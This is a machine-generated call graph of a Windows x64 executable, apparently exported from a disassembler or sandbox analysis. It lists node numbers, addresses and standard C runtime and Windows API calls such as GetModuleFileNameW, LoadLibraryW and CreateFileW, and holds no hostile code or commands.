7ff7da8dad80 36411->36412 36428 7ff7da8e56ec 36412->36428 36414 7ff7da8dad8c 36434 7ff7da8db318 36414->36434 36417 7ff7da8dada4 _RTC_Initialize 36426 7ff7da8dadf9 36417->36426 36439 7ff7da8db4c8 36417->36439 36418 7ff7da8dae25 36418->36293 36420 7ff7da8dadb9 36442 7ff7da8e7dbc 36420->36442 36424 7ff7da8dadce 36425 7ff7da8e89d0 45 API calls 36424->36425 36425->36426 36427 7ff7da8dae15 36426->36427 36468 7ff7da8db5fc 7 API calls 2 library calls 36426->36468 36427->36293 36429 7ff7da8e56fd 36428->36429 36433 7ff7da8e5705 36429->36433 36469 7ff7da8e4394 11 API calls _get_daylight 36429->36469 36431 7ff7da8e5714 36470 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36431->36470 36433->36414 36435 7ff7da8db329 36434->36435 36438 7ff7da8db32e __scrt_release_startup_lock 36434->36438 36435->36438 36471 7ff7da8db5fc 7 API calls 2 library calls 36435->36471 36437 7ff7da8db3a2 36438->36417 36472 7ff7da8db48c 36439->36472 36441 7ff7da8db4d1 36441->36420 36443 7ff7da8e7ddc 36442->36443 36444 7ff7da8dadc5 36442->36444 36445 7ff7da8e7de4 36443->36445 36446 7ff7da8e7dfa GetModuleFileNameW 36443->36446 36444->36426 36467 7ff7da8db59c InitializeSListHead 36444->36467 36477 7ff7da8e4394 11 API calls _get_daylight 36445->36477 36450 7ff7da8e7e25 36446->36450 36448 7ff7da8e7de9 36478 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36448->36478 36479 7ff7da8e7d5c 11 API calls 2 library calls 36450->36479 36452 7ff7da8e7e65 36453 7ff7da8e7e6d 36452->36453 36459 7ff7da8e7e85 36452->36459 36480 7ff7da8e4394 11 API calls _get_daylight 36453->36480 36455 7ff7da8e7e72 36456 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36455->36456 36457 7ff7da8e7e80 36456->36457 36457->36444 36458 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36458->36444 36460 7ff7da8e7ed3 36459->36460 36461 7ff7da8e7eec 36459->36461 36466 7ff7da8e7ea7 36459->36466 36462 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36460->36462 36464 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36461->36464 36463 7ff7da8e7edc 36462->36463 36465 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 36463->36465 36464->36466 36465->36457 36466->36458 36468->36418 36469->36431 36471->36437 36473 7ff7da8db4a6 36472->36473 36474 7ff7da8db49f 36472->36474 36476 7ff7da8e8e3c 40 API calls 36473->36476 36474->36441 36476->36474 36477->36448 36479->36452 36480->36455 36489 7ff7da8db7e0 SetUnhandledExceptionFilter 36481->36489 36491 7ff7da8dc150 36490->36491 36491->36302 36491->36491 36494 7ff7da8d758f 36492->36494 36493 7ff7da8d75e0 WideCharToMultiByte 36493->36494 36497 7ff7da8d7688 36493->36497 36494->36493 36496 7ff7da8d7636 WideCharToMultiByte 36494->36496 36494->36497 36498 7ff7da8d7597 __vcrt_freefls 36494->36498 36496->36494 36496->36497 36662 7ff7da8d2620 57 API calls 2 library calls 36497->36662 36498->36306 36500 7ff7da8eeb90 36499->36500 36502 7ff7da8eec36 36500->36502 36503 7ff7da8eebe3 36500->36503 36664 7ff7da8eea68 71 API calls _fread_nolock 36502->36664 36663 7ff7da8e9c34 37 API calls 2 library calls 36503->36663 36505 7ff7da8eec0c 36505->36308 36507 7ff7da8d1b05 36506->36507 36509 7ff7da8d1b20 36507->36509 36665 7ff7da8d24d0 59 API calls 3 library calls 36507->36665 36509->36378 36510 7ff7da8d3b80 36509->36510 36666 7ff7da8dad20 36510->36666 36513 7ff7da8d3bd2 36669 7ff7da8d7ab0 59 API calls 36513->36669 36514 7ff7da8d3bbb 36668 7ff7da8d2620 57 API calls 2 library calls 36514->36668 36517 7ff7da8d3be5 36520 7ff7da8d3bce 36517->36520 36670 7ff7da8d2770 59 API calls 2 library calls 36517->36670 36519 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36521 7ff7da8d3c0f 36519->36521 36520->36519 36521->36314 36523 7ff7da8d1b30 49 API calls 36522->36523 36524 7ff7da8d3b1d 36523->36524 36524->36316 36526 7ff7da8d697a 36525->36526 36527 7ff7da8d79a0 57 API calls 36526->36527 36528 7ff7da8d699c GetEnvironmentVariableW 36527->36528 36529 7ff7da8d69b4 ExpandEnvironmentStringsW 36528->36529 36530 7ff7da8d6a06 36528->36530 36671 7ff7da8d7ab0 59 API calls 36529->36671 36531 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36530->36531 36533 7ff7da8d6a18 36531->36533 36533->36318 36534 7ff7da8d69dc 36534->36530 36535 7ff7da8d69e6 36534->36535 36672 7ff7da8e905c 37 API calls 2 library calls 36535->36672 36537 7ff7da8d69ee 36538 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36537->36538 36539 7ff7da8d69fe 36538->36539 36539->36318 36541 7ff7da8d79a0 57 API calls 36540->36541 36542 7ff7da8d6f27 SetEnvironmentVariableW 36541->36542 36543 7ff7da8d6f3f __vcrt_freefls 36542->36543 36543->36321 36545 7ff7da8d1b30 49 API calls 36544->36545 36546 7ff7da8d1a00 36545->36546 36547 7ff7da8d1b30 49 API calls 36546->36547 36554 7ff7da8d1a7a 36546->36554 36548 7ff7da8d1a22 36547->36548 36549 7ff7da8d3b00 49 API calls 36548->36549 36548->36554 36550 7ff7da8d1a3b 36549->36550 36673 7ff7da8d17b0 36550->36673 36553 7ff7da8df1fc 74 API calls 36553->36554 36554->36325 36554->36327 36556 7ff7da8d79c1 MultiByteToWideChar 36555->36556 36557 7ff7da8d7a47 MultiByteToWideChar 36555->36557 36558 7ff7da8d7a0c 36556->36558 36559 7ff7da8d79e7 36556->36559 36560 7ff7da8d7a8f 36557->36560 36561 7ff7da8d7a6a 36557->36561 36558->36557 36566 7ff7da8d7a22 36558->36566 36756 7ff7da8d2620 57 API calls 2 library calls 36559->36756 36560->36332 36758 7ff7da8d2620 57 API calls 2 library calls 36561->36758 36564 7ff7da8d7a7d 36564->36332 36565 7ff7da8d79fa 36565->36332 36757 7ff7da8d2620 57 API calls 2 library calls 36566->36757 36568 7ff7da8d7a35 36568->36332 36570 7ff7da8d5e35 36569->36570 36571 7ff7da8d3890 36570->36571 36759 7ff7da8d24d0 59 API calls 3 library calls 36570->36759 36571->36346 36647 7ff7da8d5ac0 122 API calls 2 library calls 36571->36647 36760 7ff7da8d4940 36573->36760 36576 7ff7da8d30dd 36576->36374 36578 7ff7da8d30b4 36578->36576 36816 7ff7da8d46c0 36578->36816 36580 7ff7da8d30c0 36580->36576 36826 7ff7da8d4820 36580->36826 36582 7ff7da8d30cc 36582->36576 36583 7ff7da8d331c 36582->36583 36584 7ff7da8d3307 36582->36584 36586 7ff7da8d333c 36583->36586 36598 7ff7da8d3352 __vcrt_freefls 36583->36598 36857 7ff7da8d2770 59 API calls 2 library calls 36584->36857 36858 7ff7da8d2770 59 API calls 2 library calls 36586->36858 36587 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36589 7ff7da8d34aa 36587->36589 36589->36374 36590 7ff7da8d3313 __vcrt_freefls 36590->36587 36593 7ff7da8d1b30 49 API calls 36593->36598 36594 7ff7da8d35eb 36866 7ff7da8d2770 59 API calls 2 library calls 36594->36866 36596 7ff7da8d35c5 36865 7ff7da8d2770 59 API calls 2 library calls 36596->36865 36598->36590 36598->36593 36598->36594 36598->36596 36599 7ff7da8d34b6 36598->36599 36831 7ff7da8d12b0 36598->36831 36859 7ff7da8d1780 59 API calls 36598->36859 36601 7ff7da8d3522 36599->36601 36860 7ff7da8e905c 37 API calls 2 library calls 36599->36860 36861 7ff7da8d16d0 59 API calls 36601->36861 36603 7ff7da8d3544 36604 7ff7da8d3557 36603->36604 36605 7ff7da8d3549 36603->36605 36863 7ff7da8d2de0 37 API calls 36604->36863 36862 7ff7da8e905c 37 API calls 2 library calls 36605->36862 36608 7ff7da8d3555 36864 7ff7da8d23b0 62 API calls __vcrt_freefls 36608->36864 36612 7ff7da8d31a4 36610->36612 36617 7ff7da8d3163 36610->36617 36611 7ff7da8d31e3 36613 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36611->36613 36612->36611 37037 7ff7da8d1ab0 74 API calls __vcrt_freefls 36612->37037 36615 7ff7da8d31f5 36613->36615 36615->36357 36617->36612 36982 7ff7da8d2990 36617->36982 37036 7ff7da8d1440 161 API calls 2 library calls 36617->37036 37038 7ff7da8d1780 59 API calls 36617->37038 36620->36378 36622 7ff7da8d3c9c 36621->36622 36623 7ff7da8d79a0 57 API calls 36622->36623 36624 7ff7da8d3cc7 36623->36624 36625 7ff7da8d79a0 57 API calls 36624->36625 36626 7ff7da8d3cda 36625->36626 37180 7ff7da8e5418 36626->37180 36629 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36630 7ff7da8d37ba 36629->36630 36630->36345 36631 7ff7da8d7170 36630->36631 36632 7ff7da8d7194 36631->36632 36633 7ff7da8d726b __vcrt_freefls 36632->36633 36634 7ff7da8df884 73 API calls 36632->36634 36633->36349 36635 7ff7da8d71ae 36634->36635 36635->36633 37346 7ff7da8e7888 36635->37346 36637 7ff7da8d71c3 36637->36633 36638 7ff7da8df884 73 API calls 36637->36638 36639 7ff7da8df54c _fread_nolock 53 API calls 36637->36639 36638->36637 36639->36637 36641 7ff7da8df22c 36640->36641 37362 7ff7da8defd8 36641->37362 36643 7ff7da8df245 36643->36345 36644->36378 36645->36326 36646->36378 36647->36351 36648->36358 36649->36367 36650->36375 36651->36346 36653 7ff7da8d1b55 36652->36653 36654 7ff7da8e3b34 49 API calls 36653->36654 36655 7ff7da8d1b78 36654->36655 36655->36366 36656->36378 36657->36368 36658->36380 36659->36382 36660->36383 36661->36386 36662->36498 36663->36505 36664->36505 36665->36509 36667 7ff7da8d3b8c GetModuleFileNameW 36666->36667 36667->36513 36667->36514 36668->36520 36669->36517 36670->36520 36671->36534 36672->36537 36674 7ff7da8d17d4 36673->36674 36675 7ff7da8d17e4 36673->36675 36676 7ff7da8d3c90 116 API calls 36674->36676 36677 7ff7da8d7170 83 API calls 36675->36677 36705 7ff7da8d1842 36675->36705 36676->36675 36678 7ff7da8d1815 36677->36678 36678->36705 36707 7ff7da8df884 36678->36707 36680 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36682 7ff7da8d19c0 36680->36682 36681 7ff7da8d182b 36683 7ff7da8d182f 36681->36683 36684 7ff7da8d184c 36681->36684 36682->36553 36682->36554 36720 7ff7da8d24d0 59 API calls 3 library calls 36683->36720 36711 7ff7da8df54c 36684->36711 36688 7ff7da8d1867 36721 7ff7da8d24d0 59 API calls 3 library calls 36688->36721 36689 7ff7da8df884 73 API calls 36691 7ff7da8d18d1 36689->36691 36692 7ff7da8d18e3 36691->36692 36693 7ff7da8d18fe 36691->36693 36722 7ff7da8d24d0 59 API calls 3 library calls 36692->36722 36694 7ff7da8df54c _fread_nolock 53 API calls 36693->36694 36696 7ff7da8d1913 36694->36696 36696->36688 36697 7ff7da8d1925 36696->36697 36714 7ff7da8df2c0 36697->36714 36700 7ff7da8d193d 36723 7ff7da8d2770 59 API calls 2 library calls 36700->36723 36702 7ff7da8d1993 36703 7ff7da8df1fc 74 API calls 36702->36703 36702->36705 36703->36705 36704 7ff7da8d1950 36704->36702 36724 7ff7da8d2770 59 API calls 2 library calls 36704->36724 36705->36680 36708 7ff7da8df8b4 36707->36708 36725 7ff7da8df614 36708->36725 36710 7ff7da8df8cd 36710->36681 36738 7ff7da8df56c 36711->36738 36715 7ff7da8d1939 36714->36715 36716 7ff7da8df2c9 36714->36716 36715->36700 36715->36704 36754 7ff7da8e4394 11 API calls _get_daylight 36716->36754 36718 7ff7da8df2ce 36755 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36718->36755 36720->36705 36721->36705 36722->36705 36723->36705 36724->36702 36726 7ff7da8df67e 36725->36726 36727 7ff7da8df63e 36725->36727 36726->36727 36729 7ff7da8df68a 36726->36729 36737 7ff7da8e9c34 37 API calls 2 library calls 36727->36737 36736 7ff7da8e423c EnterCriticalSection 36729->36736 36730 7ff7da8df665 36730->36710 36732 7ff7da8df68f 36733 7ff7da8df798 71 API calls 36732->36733 36734 7ff7da8df6a1 36733->36734 36735 7ff7da8e4248 _fread_nolock LeaveCriticalSection 36734->36735 36735->36730 36737->36730 36739 7ff7da8df596 36738->36739 36750 7ff7da8d1861 36738->36750 36740 7ff7da8df5a5 memcpy_s 36739->36740 36741 7ff7da8df5e2 36739->36741 36739->36750 36752 7ff7da8e4394 11 API calls _get_daylight 36740->36752 36751 7ff7da8e423c EnterCriticalSection 36741->36751 36743 7ff7da8df5ea 36745 7ff7da8df2ec _fread_nolock 51 API calls 36743->36745 36747 7ff7da8df601 36745->36747 36746 7ff7da8df5ba 36753 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36746->36753 36749 7ff7da8e4248 _fread_nolock LeaveCriticalSection 36747->36749 36749->36750 36750->36688 36750->36689 36752->36746 36754->36718 36756->36565 36757->36568 36758->36564 36759->36571 36761 7ff7da8d4950 36760->36761 36762 7ff7da8d1b30 49 API calls 36761->36762 36763 7ff7da8d4982 36762->36763 36764 7ff7da8d49ab 36763->36764 36765 7ff7da8d498b 36763->36765 36766 7ff7da8d4a02 36764->36766 36867 7ff7da8d3d10 36764->36867 36880 7ff7da8d2770 59 API calls 2 library calls 36765->36880 36769 7ff7da8d3d10 49 API calls 36766->36769 36772 7ff7da8d4a1b 36769->36772 36770 7ff7da8d49a1 36774 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36770->36774 36771 7ff7da8d49cc 36773 7ff7da8d49ea 36771->36773 36881 7ff7da8d2770 59 API calls 2 library calls 36771->36881 36775 7ff7da8d4a39 36772->36775 36882 7ff7da8d2770 59 API calls 2 library calls 36772->36882 36870 7ff7da8d3c20 36773->36870 36779 7ff7da8d309e 36774->36779 36776 7ff7da8d7120 58 API calls 36775->36776 36781 7ff7da8d4a46 36776->36781 36779->36576 36788 7ff7da8d4cc0 36779->36788 36783 7ff7da8d4a4b 36781->36783 36784 7ff7da8d4a6d 36781->36784 36883 7ff7da8d2620 57 API calls 2 library calls 36783->36883 36884 7ff7da8d3dd0 112 API calls 36784->36884 36789 7ff7da8d6970 61 API calls 36788->36789 36791 7ff7da8d4cd5 36789->36791 36790 7ff7da8d4cf0 36792 7ff7da8d79a0 57 API calls 36790->36792 36791->36790 36912 7ff7da8d2880 59 API calls 2 library calls 36791->36912 36793 7ff7da8d4d34 36792->36793 36795 7ff7da8d4d39 36793->36795 36798 7ff7da8d4d50 36793->36798 36913 7ff7da8d2770 59 API calls 2 library calls 36795->36913 36797 7ff7da8d4d45 36797->36578 36799 7ff7da8d79a0 57 API calls 36798->36799 36800 7ff7da8d4d85 36799->36800 36803 7ff7da8d1b30 49 API calls 36800->36803 36814 7ff7da8d4d8a __vcrt_freefls 36800->36814 36802 7ff7da8d4f31 36802->36578 36804 7ff7da8d4e07 36803->36804 36805 7ff7da8d4e33 36804->36805 36806 7ff7da8d4e0e 36804->36806 36808 7ff7da8d79a0 57 API calls 36805->36808 36914 7ff7da8d2770 59 API calls 2 library calls 36806->36914 36810 7ff7da8d4e4c 36808->36810 36809 7ff7da8d4e23 36809->36578 36810->36814 36885 7ff7da8d4aa0 36810->36885 36815 7ff7da8d4f1a 36814->36815 36916 7ff7da8d2770 59 API calls 2 library calls 36814->36916 36815->36578 36817 7ff7da8d46d7 36816->36817 36817->36817 36818 7ff7da8d4700 36817->36818 36825 7ff7da8d4717 __vcrt_freefls 36817->36825 36932 7ff7da8d2770 59 API calls 2 library calls 36818->36932 36820 7ff7da8d470c 36820->36580 36821 7ff7da8d47fb 36821->36580 36822 7ff7da8d12b0 122 API calls 36822->36825 36825->36821 36825->36822 36933 7ff7da8d2770 59 API calls 2 library calls 36825->36933 36934 7ff7da8d1780 59 API calls 36825->36934 36827 7ff7da8d4927 36826->36827 36828 7ff7da8d483b 36826->36828 36827->36582 36828->36827 36830 7ff7da8d2770 59 API calls 36828->36830 36935 7ff7da8d1780 59 API calls 36828->36935 36830->36828 36832 7ff7da8d12c6 36831->36832 36833 7ff7da8d12f8 36831->36833 36834 7ff7da8d3c90 116 API calls 36832->36834 36835 7ff7da8df884 73 API calls 36833->36835 36836 7ff7da8d12d6 36834->36836 36837 7ff7da8d130a 36835->36837 36836->36833 36838 7ff7da8d12de 36836->36838 36839 7ff7da8d132f 36837->36839 36840 7ff7da8d130e 36837->36840 36954 7ff7da8d2770 59 API calls 2 library calls 36838->36954 36845 7ff7da8d1364 36839->36845 36846 7ff7da8d1344 36839->36846 36955 7ff7da8d24d0 59 API calls 3 library calls 36840->36955 36843 7ff7da8d12ee 36843->36598 36844 7ff7da8d1325 36844->36598 36848 7ff7da8d137e 36845->36848 36853 7ff7da8d1395 36845->36853 36956 7ff7da8d24d0 59 API calls 3 library calls 36846->36956 36936 7ff7da8d1050 36848->36936 36850 7ff7da8d1421 36850->36598 36851 7ff7da8df54c _fread_nolock 53 API calls 36851->36853 36852 7ff7da8df1fc 74 API calls 36852->36850 36853->36851 36854 7ff7da8d13de 36853->36854 36855 7ff7da8d135f __vcrt_freefls 36853->36855 36957 7ff7da8d24d0 59 API calls 3 library calls 36854->36957 36855->36850 36855->36852 36857->36590 36858->36590 36859->36598 36860->36601 36861->36603 36862->36608 36863->36608 36864->36590 36865->36590 36866->36590 36868 7ff7da8d1b30 49 API calls 36867->36868 36869 7ff7da8d3d40 36868->36869 36869->36771 36871 7ff7da8d3c2a 36870->36871 36872 7ff7da8d79a0 57 API calls 36871->36872 36873 7ff7da8d3c52 36872->36873 36874 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36873->36874 36875 7ff7da8d3c7a 36874->36875 36875->36766 36876 7ff7da8d7120 36875->36876 36877 7ff7da8d79a0 57 API calls 36876->36877 36878 7ff7da8d7137 LoadLibraryW 36877->36878 36879 7ff7da8d7154 __vcrt_freefls 36878->36879 36879->36766 36880->36770 36881->36773 36882->36775 36883->36770 36884->36770 36886 7ff7da8d4aba 36885->36886 36890 7ff7da8d4bd3 36886->36890 36894 7ff7da8d4ca9 36886->36894 36911 7ff7da8d4c71 36886->36911 36917 7ff7da8e5620 47 API calls 36886->36917 36918 7ff7da8d1780 59 API calls 36886->36918 36887 7ff7da8dacf0 _wfindfirst32i64 8 API calls 36889 7ff7da8d4c90 36887->36889 36915 7ff7da8d7ba0 59 API calls __vcrt_freefls 36889->36915 36890->36911 36919 7ff7da8e90d4 36890->36919 36929 7ff7da8d2770 59 API calls 2 library calls 36894->36929 36897 7ff7da8d4bf6 36898 7ff7da8e90d4 _fread_nolock 37 API calls 36897->36898 36899 7ff7da8d4c08 36898->36899 36926 7ff7da8e572c 39 API calls 3 library calls 36899->36926 36901 7ff7da8d4c14 36927 7ff7da8e5cb4 73 API calls 36901->36927 36903 7ff7da8d4c26 36928 7ff7da8e5cb4 73 API calls 36903->36928 36905 7ff7da8d4c38 36906 7ff7da8e4e64 71 API calls 36905->36906 36907 7ff7da8d4c49 36906->36907 36908 7ff7da8e4e64 71 API calls 36907->36908 36909 7ff7da8d4c5d 36908->36909 36910 7ff7da8e4e64 71 API calls 36909->36910 36910->36911 36911->36887 36912->36790 36913->36797 36914->36809 36915->36814 36916->36802 36917->36886 36918->36886 36920 7ff7da8e90dd 36919->36920 36924 7ff7da8d4bea 36919->36924 36930 7ff7da8e4394 11 API calls _get_daylight 36920->36930 36922 7ff7da8e90e2 36931 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 36922->36931 36925 7ff7da8e572c 39 API calls 3 library calls 36924->36925 36925->36897 36926->36901 36927->36903 36928->36905 36929->36911 36930->36922 36932->36820 36933->36825 36934->36825 36935->36828 36937 7ff7da8d10a6 36936->36937 36938 7ff7da8d10d3 36937->36938 36939 7ff7da8d10ad 36937->36939 36942 7ff7da8d10ed 36938->36942 36943 7ff7da8d1109 36938->36943 36962 7ff7da8d2770 59 API calls 2 library calls 36939->36962 36941 7ff7da8d10c0 36941->36855 36963 7ff7da8d24d0 59 API calls 3 library calls 36942->36963 36945 7ff7da8d111b 36943->36945 36952 7ff7da8d1137 memcpy_s 36943->36952 36964 7ff7da8d24d0 59 API calls 3 library calls 36945->36964 36947 7ff7da8df54c _fread_nolock 53 API calls 36947->36952 36948 7ff7da8d1104 __vcrt_freefls 36948->36855 36949 7ff7da8d11fe 36965 7ff7da8d2770 59 API calls 2 library calls 36949->36965 36952->36947 36952->36948 36952->36949 36953 7ff7da8df2c0 37 API calls 36952->36953 36958 7ff7da8dfc8c 36952->36958 36953->36952 36954->36843 36955->36844 36956->36855 36957->36855 36959 7ff7da8dfcbc 36958->36959 36966 7ff7da8df9dc 36959->36966 36961 7ff7da8dfcda 36961->36952 36962->36941 36963->36948 36964->36948 36965->36948 36967 7ff7da8dfa29 36966->36967 36968 7ff7da8df9fc 36966->36968 36967->36961 36968->36967 36969 7ff7da8dfa06 36968->36969 36970 7ff7da8dfa31 36968->36970 36980 7ff7da8e9c34 37 API calls 2 library calls 36969->36980 36973 7ff7da8df91c 36970->36973 36981 7ff7da8e423c EnterCriticalSection 36973->36981 36975 7ff7da8df939 36976 7ff7da8df95c 74 API calls 36975->36976 36977 7ff7da8df942 36976->36977 36978 7ff7da8e4248 _fread_nolock LeaveCriticalSection 36977->36978 36979 7ff7da8df94d 36978->36979 36979->36967 36980->36967 36983 7ff7da8d29a6 36982->36983 36984 7ff7da8d1b30 49 API calls 36983->36984 36986 7ff7da8d29db 36984->36986 36985 7ff7da8d2dc9 36986->36985 36987 7ff7da8d3b00 49 API calls 36986->36987 36988 7ff7da8d2a57 36987->36988 37039 7ff7da8d2ff0 36988->37039 36991 7ff7da8d2ae7 37047 7ff7da8d6700 98 API calls 36991->37047 36993 7ff7da8d2ff0 75 API calls 36994 7ff7da8d2ae3 36993->36994 36994->36991 36996 7ff7da8d2b55 36994->36996 36995 7ff7da8d2aef 36997 7ff7da8d2b0c 36995->36997 37048 7ff7da8d65e0 134 API calls 2 library calls 36995->37048 36999 7ff7da8d2ff0 75 API calls 36996->36999 37035 7ff7da8d2b26 36997->37035 37049 7ff7da8d2770 59 API calls 2 library calls 36997->37049 37000 7ff7da8d2b7e 36999->37000 37002 7ff7da8d2bd8 37000->37002 37003 7ff7da8d2ff0 75 API calls 37000->37003 37002->36997 37050 7ff7da8d6700 98 API calls 37002->37050 37005 7ff7da8d2bab 37003->37005 37005->37002 37008 7ff7da8d2ff0 75 API calls 37005->37008 37006 7ff7da8dacf0 _wfindfirst32i64 8 API calls 37007 7ff7da8d2b4a 37006->37007 37007->36617 37008->37002 37009 7ff7da8d1af0 59 API calls 37011 7ff7da8d2c3f 37009->37011 37010 7ff7da8d2be8 37010->36997 37010->37009 37012 7ff7da8d2d06 37010->37012 37011->36997 37013 7ff7da8d1b30 49 API calls 37011->37013 37012->36997 37026 7ff7da8d2d1e 37012->37026 37014 7ff7da8d2c67 37013->37014 37015 7ff7da8d2da2 37014->37015 37016 7ff7da8d1b30 49 API calls 37014->37016 37056 7ff7da8d2770 59 API calls 2 library calls 37015->37056 37018 7ff7da8d2c94 37016->37018 37018->37015 37021 7ff7da8d1b30 49 API calls 37018->37021 37019 7ff7da8d2d01 37057 7ff7da8d1ab0 74 API calls __vcrt_freefls 37019->37057 37023 7ff7da8d2cc1 37021->37023 37023->37015 37025 7ff7da8d2ccc 37023->37025 37027 7ff7da8d17b0 121 API calls 37025->37027 37028 7ff7da8d2d84 37026->37028 37026->37035 37052 7ff7da8d1440 161 API calls 2 library calls 37026->37052 37053 7ff7da8d1780 59 API calls 37026->37053 37030 7ff7da8d2ce3 37027->37030 37054 7ff7da8d2770 59 API calls 2 library calls 37028->37054 37030->37026 37031 7ff7da8d2ce7 37030->37031 37051 7ff7da8d24d0 59 API calls 3 library calls 37031->37051 37032 7ff7da8d2d95 37055 7ff7da8d1ab0 74 API calls __vcrt_freefls 37032->37055 37035->37006 37036->36617 37037->36612 37038->36617 37040 7ff7da8d3024 37039->37040 37058 7ff7da8e3b34 37040->37058 37043 7ff7da8d305b 37045 7ff7da8dacf0 _wfindfirst32i64 8 API calls 37043->37045 37046 7ff7da8d2a96 37045->37046 37046->36991 37046->36993 37047->36995 37048->36997 37049->37035 37050->37010 37051->37019 37052->37026 37053->37026 37054->37032 37055->37035 37056->37019 37057->36997 37061 7ff7da8e3b8e 37058->37061 37059 7ff7da8e3bb3 37093 7ff7da8e9c34 37 API calls 2 library calls 37059->37093 37060 7ff7da8e3bef 37094 7ff7da8e1dc0 49 API calls _invalid_parameter_noinfo 37060->37094 37061->37059 37061->37060 37064 7ff7da8e3bdd 37068 7ff7da8dacf0 _wfindfirst32i64 8 API calls 37064->37068 37065 7ff7da8e3ccc 37067 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 37065->37067 37066 7ff7da8e3c86 37066->37065 37070 7ff7da8e3cf0 37066->37070 37071 7ff7da8e3ca1 37066->37071 37072 7ff7da8e3c98 37066->37072 37067->37064 37069 7ff7da8d304a 37068->37069 37069->37043 37076 7ff7da8e4d58 37069->37076 37070->37065 37073 7ff7da8e3cfa 37070->37073 37074 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 37071->37074 37072->37065 37072->37071 37075 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 37073->37075 37074->37064 37075->37064 37077 7ff7da8e4d75 37076->37077 37078 7ff7da8e4d81 37076->37078 37095 7ff7da8e45d0 37077->37095 37120 7ff7da8e496c 45 API calls _CallSETranslator 37078->37120 37081 7ff7da8e4da9 37085 7ff7da8e4db9 37081->37085 37121 7ff7da8edf1c 5 API calls __crtLCMapStringW 37081->37121 37084 7ff7da8e4e11 37086 7ff7da8e4e15 37084->37086 37087 7ff7da8e4e29 37084->37087 37122 7ff7da8e4454 14 API calls 3 library calls 37085->37122 37088 7ff7da8e4d7a 37086->37088 37090 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 37086->37090 37089 7ff7da8e45d0 69 API calls 37087->37089 37088->37043 37091 7ff7da8e4e35 37089->37091 37090->37088 37091->37088 37092 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 37091->37092 37092->37088 37093->37064 37094->37066 37096 7ff7da8e4607 37095->37096 37097 7ff7da8e45ea 37095->37097 37096->37097 37099 7ff7da8e461a CreateFileW 37096->37099 37149 7ff7da8e4374 11 API calls _get_daylight 37097->37149 37101 7ff7da8e4684 37099->37101 37102 7ff7da8e464e 37099->37102 37100 7ff7da8e45ef 37150 7ff7da8e4394 11 API calls _get_daylight 37100->37150 37152 7ff7da8e4c48 46 API calls 3 library calls 37101->37152 37123 7ff7da8e4724 GetFileType 37102->37123 37107 7ff7da8e4689 37111 7ff7da8e468d 37107->37111 37112 7ff7da8e46b8 37107->37112 37108 7ff7da8e45f7 37151 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 37108->37151 37109 7ff7da8e4663 CloseHandle 37114 7ff7da8e4602 37109->37114 37110 7ff7da8e4679 CloseHandle 37110->37114 37153 7ff7da8e4308 11 API calls 2 library calls 37111->37153 37154 7ff7da8e4a08 37112->37154 37114->37088 37119 7ff7da8e4697 37119->37114 37120->37081 37121->37085 37122->37084 37124 7ff7da8e482f 37123->37124 37125 7ff7da8e4772 37123->37125 37127 7ff7da8e4837 37124->37127 37128 7ff7da8e4859 37124->37128 37126 7ff7da8e479e GetFileInformationByHandle 37125->37126 37172 7ff7da8e4b44 21 API calls _fread_nolock 37125->37172 37131 7ff7da8e47c7 37126->37131 37132 7ff7da8e484a GetLastError 37126->37132 37127->37132 37133 7ff7da8e483b 37127->37133 37129 7ff7da8e487c PeekNamedPipe 37128->37129 37138 7ff7da8e481a 37128->37138 37129->37138 37136 7ff7da8e4a08 51 API calls 37131->37136 37175 7ff7da8e4308 11 API calls 2 library calls 37132->37175 37174 7ff7da8e4394 11 API calls _get_daylight 37133->37174 37135 7ff7da8e478c 37135->37126 37135->37138 37140 7ff7da8e47d2 37136->37140 37139 7ff7da8dacf0 _wfindfirst32i64 8 API calls 37138->37139 37141 7ff7da8e465c 37139->37141 37165 7ff7da8e48cc 37140->37165 37141->37109 37141->37110 37144 7ff7da8e48cc 10 API calls 37145 7ff7da8e47f1 37144->37145 37146 7ff7da8e48cc 10 API calls 37145->37146 37147 7ff7da8e4802 37146->37147 37147->37138 37173 7ff7da8e4394 11 API calls _get_daylight 37147->37173 37149->37100 37150->37108 37152->37107 37153->37119 37156 7ff7da8e4a30 37154->37156 37155 7ff7da8e46c5 37164 7ff7da8e4b44 21 API calls _fread_nolock 37155->37164 37156->37155 37176 7ff7da8ee5c4 51 API calls 2 library calls 37156->37176 37158 7ff7da8e4ac4 37158->37155 37177 7ff7da8ee5c4 51 API calls 2 library calls 37158->37177 37160 7ff7da8e4ad7 37160->37155 37178 7ff7da8ee5c4 51 API calls 2 library calls 37160->37178 37162 7ff7da8e4aea 37162->37155 37179 7ff7da8ee5c4 51 API calls 2 library calls 37162->37179 37164->37119 37166 7ff7da8e48f5 FileTimeToSystemTime 37165->37166 37167 7ff7da8e48e8 37165->37167 37168 7ff7da8e4909 SystemTimeToTzSpecificLocalTime 37166->37168 37169 7ff7da8e48f0 37166->37169 37167->37166 37167->37169 37168->37169 37170 7ff7da8dacf0 _wfindfirst32i64 8 API calls 37169->37170 37171 7ff7da8e47e1 37170->37171 37171->37144 37172->37135 37173->37138 37174->37138 